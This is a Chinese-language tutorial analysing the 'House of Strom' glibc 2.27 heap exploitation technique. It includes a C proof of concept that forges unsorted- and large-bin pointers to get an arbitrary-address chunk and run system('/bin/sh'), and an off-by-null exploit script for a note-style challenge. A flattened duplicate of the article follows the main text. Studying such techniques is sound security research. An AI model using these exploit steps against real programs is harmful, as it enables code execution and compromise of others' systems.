House of Strom 漏洞
字数 1491 2025-08-05 08:18:36

House of Strom 漏洞分析与利用

漏洞概述

House of Strom 是一种基于 glibc 堆管理机制的漏洞利用技术,主要影响 glibc-2.27 及附近版本。该漏洞利用 unsorted bin 和 large bin 的管理机制,通过精心构造的堆布局,最终实现任意地址分配。

漏洞原理

漏洞存在于 glibc-2.27/malloc/malloc.c 的第 3729 行附近的代码中,该段代码负责在 unsorted bin 中查找与 malloc 请求大小匹配的 chunk。如果不匹配,则将该 unsorted bin chunk 放回对应的 bin 中。

关键利用点在于:

  1. 控制 unsorted bin 和 large bin 的链表结构
  2. 利用 large bin 归位时的链表操作修改目标地址的 size 字段
  3. 通过第二次 unsorted bin 搜索获取任意地址的 chunk

利用条件

  1. 能够控制 unsorted bin 和 large bin 的链表结构
  2. 目标任意地址 chunk 的 size 字段低四位必须为 0(即对齐)
  3. 需要能够触发 large bin 归位操作

代码分析

有 PIE 的情况

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct {
    char padding[0x10]; // NULL padding
    char sh[0x10];
} global_container = {"", "id"};

int main() {
    char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
    
    unsorted_bin = malloc(0x4e8); // size 0x4f0
    malloc(0x18); // 防止合并
    
    large_bin = malloc(0x4d8); // size 0x4e0
    malloc(0x18); // 防止合并
    
    // FIFO
    free(large_bin); // 先放小的chunk
    free(unsorted_bin); // large_bin 归位
    
    unsorted_bin = malloc(0x4e8); // unsorted_bin 归位
    free(unsorted_bin);
    
    fake_chunk = global_container.sh - 0x10;
    
    ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
    ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
    
    ((size_t *)large_bin)[0] = 0; // large_bin->fd
    ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->bk
    ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
    ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
    
    ptr = malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48-1);
    system(global_container.sh);
    
    return 0;
}

关键步骤解析

  1. 堆布局准备

    • 分配两个大 chunk (unsorted_bin 和 large_bin)
    • 释放 large_bin 和 unsorted_bin 到 unsorted bin
    • 重新分配 unsorted_bin 使其归位到 large bin
  2. 构造恶意链表

    • 修改 unsorted_bin 的 bk 指针指向 fake_chunk
    • 设置 large_bin 的 bk 指向 fake_chunk+8(避免解链时崩溃)
    • 设置 large_bin 的 bk_nextsize 指向 fake_chunk-0x18-5
  3. 利用 large bin 归位操作

    • 当 unsorted_bin 归位到 large bin 时,会执行:
      victim->bk_nextsize = fwd->bk_nextsize;
      fwd->bk_nextsize = victim;
      victim->bk_nextsize->fd_nextsize = victim;
      
    • 这将导致在 fake_chunk-0x18-5 处写入 victim 的地址,从而修改 fake_chunk 的 size 字段
  4. 获取任意地址 chunk

    • 第二次 malloc 时,由于 fake_chunk 的 size 被修改为 0x55(PIE 情况下),可以匹配请求的 0x48 大小
    • 成功获取 fake_chunk 的控制权

无 PIE 的情况

无 PIE 时,代码基本相同,但概率更低(1/32 vs 1/3),因为地址空间更大。主要区别在于:

((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 2; // large_bin->bk_nextsize

实际利用场景

House of Strom 通常与 off-by-one 漏洞结合使用,构造 overlapping chunk。典型利用流程:

  1. 通过 off-by-one 构造 overlapping chunk
  2. 控制 large bin 和 unsorted bin 的链表结构
  3. 执行 House of Strom 攻击

示例利用代码:

alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6

# 改pre_size域为0x500,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))

# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size为0x510
delete_note(1)

# off by null将1号块的size字段覆盖为0x500
edit_note(0, 'a'*(0x18))

alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了与1重叠

delete_note(1)
delete_note(2) # unlink进行前向extend

# 2号块与7号块交叠,可以通过7号块修改2号块的内容
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))

alloc_note(0x18) # 4
alloc_note(0x4d8) # 8

delete_note(4)
delete_note(5)

alloc_note(0x40) # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

防御措施

  1. 更新 glibc 到最新版本
  2. 使用堆保护机制(如 glibc 的 hardening 选项)
  3. 避免使用危险的堆操作函数
  4. 检查所有堆操作中的边界条件

总结

House of Strom 是一种高级的堆利用技术,它利用了 glibc 堆管理器中 unsorted bin 和 large bin 的交互逻辑。通过精心构造的堆布局和链表操作,攻击者可以实现任意地址分配,进而控制程序执行流程。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。

House of Strom 漏洞分析与利用 漏洞概述 House of Strom 是一种基于 glibc 堆管理机制的漏洞利用技术,主要影响 glibc-2.27 及附近版本。该漏洞利用 unsorted bin 和 large bin 的管理机制,通过精心构造的堆布局,最终实现任意地址分配。 漏洞原理 漏洞存在于 glibc-2.27/malloc/malloc.c 的第 3729 行附近的代码中,该段代码负责在 unsorted bin 中查找与 malloc 请求大小匹配的 chunk。如果不匹配,则将该 unsorted bin chunk 放回对应的 bin 中。 关键利用点在于: 控制 unsorted bin 和 large bin 的链表结构 利用 large bin 归位时的链表操作修改目标地址的 size 字段 通过第二次 unsorted bin 搜索获取任意地址的 chunk 利用条件 能够控制 unsorted bin 和 large bin 的链表结构 目标任意地址 chunk 的 size 字段低四位必须为 0(即对齐) 需要能够触发 large bin 归位操作 代码分析 有 PIE 的情况 关键步骤解析 堆布局准备 : 分配两个大 chunk (unsorted_ bin 和 large_ bin) 释放 large_ bin 和 unsorted_ bin 到 unsorted bin 重新分配 unsorted_ bin 使其归位到 large bin 构造恶意链表 : 修改 unsorted_ bin 的 bk 指针指向 fake_ chunk 设置 large_ bin 的 bk 指向 fake_ chunk+8(避免解链时崩溃) 设置 large_ bin 的 bk_ nextsize 指向 fake_ chunk-0x18-5 利用 large bin 归位操作 : 当 unsorted_ bin 归位到 large bin 时,会执行: 这将导致在 fake_ chunk-0x18-5 处写入 victim 的地址,从而修改 fake_ chunk 的 size 字段 获取任意地址 chunk : 第二次 malloc 时,由于 fake_ chunk 的 size 被修改为 0x55(PIE 情况下),可以匹配请求的 0x48 大小 成功获取 fake_ chunk 的控制权 无 PIE 的情况 无 PIE 时,代码基本相同,但概率更低(1/32 vs 1/3),因为地址空间更大。主要区别在于: 实际利用场景 House of Strom 通常与 off-by-one 漏洞结合使用,构造 overlapping chunk。典型利用流程: 通过 off-by-one 构造 overlapping chunk 控制 large bin 和 unsorted bin 的链表结构 执行 House of Strom 攻击 示例利用代码: 防御措施 更新 glibc 到最新版本 使用堆保护机制(如 glibc 的 hardening 选项) 避免使用危险的堆操作函数 检查所有堆操作中的边界条件 总结 House of Strom 是一种高级的堆利用技术,它利用了 glibc 堆管理器中 unsorted bin 和 large bin 的交互逻辑。通过精心构造的堆布局和链表操作,攻击者可以实现任意地址分配,进而控制程序执行流程。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。